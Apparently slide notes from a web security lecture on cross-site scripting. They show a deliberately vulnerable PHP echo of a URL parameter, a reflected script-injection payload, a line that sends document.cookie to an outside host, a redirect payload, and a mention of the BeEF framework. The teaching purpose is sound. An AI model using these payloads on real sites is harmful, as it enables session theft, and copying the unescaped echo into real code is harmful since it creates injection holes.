proweb

Examples

simple

echo “<h1> Welcome, ” . $_GET[“name”] . “</h1>”

?name=Aa<script>alert(“XSS!”)</script>

view-source:

<h1> Welcome, Aa<script>alert(“XSS!”)</script> </h1>

Way

!   Cookie:

<img src=“http://mysite/?”+document.cookie />

!   Redirect:

document.location= ‘http://mysite/’

BeEF

http://beefproject.com

GUI

Client Side

Protect

A3: Broken Authentication and

Session Management

Description